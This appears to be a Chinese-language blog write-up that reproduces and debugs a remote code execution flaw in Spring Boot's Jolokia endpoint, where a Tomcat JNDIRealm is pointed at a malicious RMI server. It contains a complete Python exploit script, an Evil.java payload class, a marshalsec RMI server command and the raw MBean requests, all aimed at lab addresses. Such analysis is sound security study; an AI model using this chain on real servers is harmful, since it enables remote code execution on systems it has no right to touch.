jolokia Realm JNDI RCE分析
漏洞复现
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
漏洞复现:
-
用
python3 -m http.server 80
在 VPS 上开启一个 WEB 服务 -
编写
Evil.java
类上传到 VPS WEB 根目录public class Evil{ public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe");} }
-
使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.43.141:80/#Evil 1389
在 VPS 上搭建一个 RMI 服务 -
在 VPS 上用
python springboot-realm-jndi-rce.py
攻击#!/usr/bin/env python3 # coding: utf-8 # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txtimport requestsurl = 'http://192.168.43.79:9094/jolokia'create_realm = { "mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"] }wirte_factory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory" }write_url = { "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://192.168.43.141:1389/Evil" }stop = { "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": [] }start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": [] }flow = [create_realm, wirte_factory, write_url, stop, start]for i in flow:print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))r = requests.post(url, json=i)r.json()print(r.status_code)
漏洞利用条件:
- 网站存在
/jolokia
或/actuator/jolokia
接口 - 环境存在相关 MBean,如
type=MBeanFactory
和createJNDIRealm
关键字
漏洞分析
在 org.apache.catalina.mbeans.MBeanFactory#createJNDIRealm
方法下断点,如下访问调用MBeanFactory#createJNDIRealm
方法创建 JNDIRealm
http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
}
可以看到最终返回的是 Tomcat:type=Realm,realmPath=/realm0
,所以后面就基于这个操作
在 org.apache.catalina.realm.JNDIRealm#setContextFactory
方法下断点,如下访问调用 setContextFactory 方法设置 JNDIRealm.contextFactory
属性值
http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
可以看到把 JNDIRealm.contextFactory
属性值设置为了 com.sun.jndi.rmi.registry.RegistryContextFactory
在 org.apache.catalina.realm.JNDIRealm#setConnectionURL
方法下断点,如下访问调用 setConnectionURL 方法设置 JNDIRealm.connectionURL
属性值
http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://192.168.43.141:1389/Evil"
}
可以看到把 JNDIRealm.connectionURL
属性值设置为了 rmi://192.168.43.141:1389/Evil
,即我们部署了恶意 RMI 服务的地址
如下访问停止 Tomcat:realmPath=/realm0,type=Realm
http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
}
在 org.apache.catalina.realm.JNDIRealm#startInternal
方法下断点,访问如下开启 Tomcat:realmPath=/realm0,type=Realm
http://192.168.43.79:9094/jolokia
application/json{"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
}
开启的时候会调用 startInternal 方法,startInternal 方法调用 open 方法
跟进 open 方法,调用 createDirContext 方法根据 getDirectoryContextEnvironment 方法返回值配对一个JNDI目录服务对象,触发JNDI注入
跟进 getDirectoryContextEnvironment 方法,这里会把 java.naming.factory.initial
环境变量赋值为 com.sun.jndi.rmi.registry.RegistryContextFactory
,即我们前面设置的 contextFactory 属性值;把java.naming.provider.url
赋值为 rmi://192.168.43.141:1389/Evil
,即我们前面设置的 connectionURL 属性值
然后回到调用 createDirContext 方法根据 getDirectoryContextEnvironment 方法返回值创建一个JNDI服务
最后调用栈如下
最终可以看到 com.sun.jndi.rmi.registry.RegistryContext#lookup
方法如下代码
总结
网上也没找着过程分析的文章,所以就自己跟了一下,对 jolokia 的使用也不太了解,有误请各位师傅指出!
Reference:
https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html
https://www.cnblogs.com/zpchcbd/p/15542706.html
https://github.com/LandGrey/SpringBootVulExploit